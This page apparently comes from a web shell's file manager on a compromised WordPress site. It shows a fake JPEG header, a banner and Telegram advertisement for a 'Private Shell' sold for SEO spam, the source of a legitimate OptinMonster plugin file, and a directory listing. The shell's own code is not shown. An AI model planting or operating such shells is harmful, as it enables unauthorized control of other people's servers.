����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Classic Editor class.
*
* @since 2.3.0
*
* @package OMAPI
* @author Justin Sternberg
*/
// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
/**
* Classic Editor class.
*
* @since 2.3.0
*/
class OMAPI_ClassicEditor {
/**
* Holds the class object.
*
* @since 2.3.0
*
* @var object
*/
public static $instance;
/**
* Path to the file.
*
* @since 2.3.0
*
* @var string
*/
public $file = __FILE__;
/**
* Holds the base class object.
*
* @since 2.3.0
*
* @var OMAPI
*/
public $base;
/**
* Primary class constructor.
*
* @since 2.3.0
*/
public function __construct() {
// Set our object.
$this->set();
add_action( 'media_buttons', array( $this, 'media_button' ), 15 );
add_action( 'add_meta_boxes', array( $this, 'settings_meta_box' ) );
add_action( 'save_post', array( $this, 'save_metabox_data' ), 10, 2 );
}
/**
* Sets our object instance and base class instance.
*
* @since 2.3.0
*/
public function set() {
self::$instance = $this;
$this->base = OMAPI::get_instance();
}
/**
* Allow easy shortcode insertion via a custom media button.
*
* @since 2.3.0
*
* @param string $editor_id Unique editor identifier, e.g. 'content'.
*/
public function media_button( $editor_id ) {
if ( ! $this->base->can_access( 'campaign_media_button' ) ) {
return;
}
// Provide the ability to conditionally disable the button, so it can be
// disabled for custom fields or front-end use such as bbPress. We default
// to only showing within the post editor page.
if ( ! apply_filters( 'optin_monster_display_media_button', $this->is_post_editor_page(), $editor_id ) ) {
return;
}
// Setup the icon.
$icon = '<span class="wp-media-buttons-icon optin-monster-menu-icon">' . $this->base->menu->icon_svg( 'currentColor', false ) . '</span>';
printf(
'<button type="button" class="button optin-monster-insert-campaign-button" data-editor="%s" title="%s">%s %s</button>',
esc_attr( $editor_id ),
esc_attr__( 'Add OptinMonster', 'optin-monster-api' ),
// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped, unable to escape SVG.
$icon,
esc_html__( 'Add OptinMonster', 'optin-monster-api' )
);
// If we have made it this far then load the JS.
$handle = $this->base->plugin_slug . '-editor';
wp_enqueue_script(
$handle,
$this->base->url . 'assets/dist/js/editor.min.js',
array( 'jquery' ),
$this->base->asset_version(),
true
);
$i18n = $this->base->blocks->get_data_for_js( 'i18n' );
$i18n['or_monsterlink'] = esc_html__( 'Or link to a popup campaign', 'optin-monster-api' );
OMAPI_Utils::add_inline_script(
$handle,
'OMAPI_Editor',
array(
'monsterlink' => esc_url_raw( OPTINMONSTER_SHAREABLE_LINK ) . '/c/',
'canMonsterlink' => $this->base->blocks->get_data_for_js( 'canMonsterlink' ),
'upgradeUri' => $this->base->blocks->get_data_for_js( 'upgradeUri' ),
'i18n' => $i18n,
)
);
add_action( 'admin_footer', array( $this, 'shortcode_modal' ) );
}
/**
* Check if we are on the post editor admin page.
*
* @since 2.3.0
*
* @returns boolean True if it is post editor admin page.
*/
public function is_post_editor_page() {
if ( ! is_admin() ) {
return false;
}
// get_current_screen() is loaded after 'admin_init' hook and may not exist yet.
if ( ! function_exists( 'get_current_screen' ) ) {
return false;
}
$screen = get_current_screen();
return null !== $screen && 'edit' === $screen->parent_base;
}
/**
* Modal window for inserting the optin-monster shortcode into TinyMCE.
*
* Thickbox is old and busted so we don't use that. Creating a custom view in
* Backbone would make me pull my hair out. So instead we offer a small clean
* modal that is based off of the WordPress insert link modal.
*
* @since 2.3.0
*/
public function shortcode_modal() {
$campaigns = $this->base->blocks->get_campaign_options( true );
$campaigns['inline'] = ! empty( $campaigns['inline'] )
? array_merge( array( '' => esc_html__( 'Select Campaign...', 'optin-monster-api' ) ), $campaigns['inline'] )
: array();
$campaigns['other'] = ! empty( $campaigns['other'] )
? array_merge( array( '' => esc_html__( 'Select Campaign...', 'optin-monster-api' ) ), $campaigns['other'] )
: array();
$this->base->output_view(
'shortcode-modal.php',
array(
'templatesUri' => $this->base->blocks->get_data_for_js( 'templatesUri' ),
'upgradeUri' => OMAPI_Urls::upgrade( 'gutenberg', 'monster-link' ),
'canMonsterlink' => $this->base->blocks->get_data_for_js( 'canMonsterlink' ),
'campaigns' => $campaigns,
)
);
$this->base->output_min_css( 'shortcode-modal-css.php' );
}
/**
* Register the global OptinMonster Settings metabox.
*
* @since 2.3.0
*/
public function settings_meta_box() {
$types = array_values( get_post_types( array( 'public' => true ) ) );
foreach ( $types as $type ) {
$supports_custom_fields = post_type_supports( $type, 'custom-fields' );
// If custom fields aren't supported, change title to avoid duplicate 'OptinMonster' sections.
// @see https://github.com/awesomemotive/optin-monster-wp-api/issues/391
$title = $supports_custom_fields ? 'OptinMonster Settings' : 'Campaign Settings';
add_meta_box(
'om-global-post-settings',
esc_html__( $title, 'optin-monster-api' ),
array( $this, 'settings_meta_box_output' ),
$type,
'side',
'default',
array( '__back_compat_meta_box' => $supports_custom_fields )
);
}
}
/**
* Output the markup for the global OptinMonster Settings metabox.
*
* @since 2.3.0
*
* @param WP_Post $post The post object.
*/
public function settings_meta_box_output( $post ) {
$disabled = get_post_meta( $post->ID, 'om_disable_all_campaigns', true );
wp_nonce_field( 'om_disable_all_campaigns', 'om_disable_all_campaigns_nonce' );
?>
<p>
<label for="om_disable_all_campaigns">
<input class="widefat" type="checkbox" <?php checked( ! empty( $disabled ) ); ?> name="om_disable_all_campaigns" id="om_disable_all_campaigns" value="1" />
<?php esc_html_e( 'Disable all OptinMonster campaigns.', 'optin-monster-api' ); ?>
</label>
</p>
<?php
}
/**
* Save the global OptinMonster settings.
*
* @since 2.3.0
*
* @param int $post_id Post Id.
* @param WP_Post $post Post object.
*/
public function save_metabox_data( $post_id, $post ) {
if (
empty( $_POST['om_disable_all_campaigns_nonce'] )
|| ! wp_verify_nonce( $_POST['om_disable_all_campaigns_nonce'], 'om_disable_all_campaigns' )
|| empty( $post->post_type )
) {
return;
}
$type = get_post_type_object( $post->post_type );
if (
empty( $type->cap->edit_post )
|| ! current_user_can( $type->cap->edit_post, $post_id )
) {
return;
}
$disabled = ! empty( $_POST['om_disable_all_campaigns'] );
update_post_meta( $post_id, 'om_disable_all_campaigns', $disabled );
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| EasyDigitalDownloads | Folder | 0755 |
|
|
| Elementor | Folder | 0755 |
|
|
| Integrations | Folder | 0755 |
|
|
| MemberPress | Folder | 0755 |
|
|
| Plugins | Folder | 0755 |
|
|
| Promos | Folder | 0755 |
|
|
| Rules | Folder | 0755 |
|
|
| Shortcodes | Folder | 0755 |
|
|
| WPForms | Folder | 0755 |
|
|
| WooCommerce | Folder | 0755 |
|
|
| Actions.php | File | 6.96 KB | 0644 |
|
| Ajax.php | File | 1.46 KB | 0644 |
|
| Api.php | File | 14.17 KB | 0644 |
|
| ApiAuth.php | File | 2.41 KB | 0644 |
|
| ApiKey.php | File | 5.08 KB | 0644 |
|
| AssetLoader.php | File | 5.59 KB | 0644 |
|
| BaseRestApi.php | File | 6.65 KB | 0644 |
|
| Blocks.php | File | 12.81 KB | 0644 |
|
| ClassicEditor.php | File | 6.92 KB | 0644 |
|
| ConstantContact.php | File | 7.42 KB | 0644 |
|
| Debug.php | File | 4.35 KB | 0644 |
|
| EasyDigitalDownloads.php | File | 9.33 KB | 0644 |
|
| Elementor.php | File | 5.36 KB | 0644 |
|
| Inserter.php | File | 11.29 KB | 0644 |
|
| InstallSkin.php | File | 1.35 KB | 0644 |
|
| InstallSkinCompat.php | File | 1.36 KB | 0644 |
|
| MailPoet.php | File | 13.36 KB | 0644 |
|
| MemberPress.php | File | 4.12 KB | 0644 |
|
| Menu.php | File | 16.88 KB | 0644 |
|
| Notifications.php | File | 18.47 KB | 0644 |
|
| OmuApi.php | File | 4.03 KB | 0644 |
|
| Output.php | File | 24.28 KB | 0644 |
|
| Pages.php | File | 17.61 KB | 0644 |
|
| Partners.php | File | 5.43 KB | 0644 |
|
| Plugins.php | File | 24.34 KB | 0644 |
|
| Promos.php | File | 1.11 KB | 0644 |
|
| Refresh.php | File | 5.75 KB | 0644 |
|
| RestApi.php | File | 38.58 KB | 0644 |
|
| RevenueAttribution.php | File | 2.97 KB | 0644 |
|
| Review.php | File | 1.45 KB | 0644 |
|
| Rules.php | File | 23.44 KB | 0644 |
|
| Save.php | File | 10.8 KB | 0644 |
|
| Shortcode.php | File | 3.58 KB | 0644 |
|
| Sites.php | File | 8.35 KB | 0644 |
|
| Support.php | File | 8.25 KB | 0644 |
|
| Type.php | File | 2.44 KB | 0644 |
|
| Urls.php | File | 8.64 KB | 0644 |
|
| Utils.php | File | 7.41 KB | 0644 |
|
| Validate.php | File | 9.06 KB | 0644 |
|
| WPForms.php | File | 2.6 KB | 0644 |
|
| Welcome.php | File | 4.81 KB | 0644 |
|
| Widget.php | File | 6.5 KB | 0644 |
|
| WooCommerce.php | File | 19.58 KB | 0644 |
|
| WpErrorException.php | File | 714 B | 0644 |
|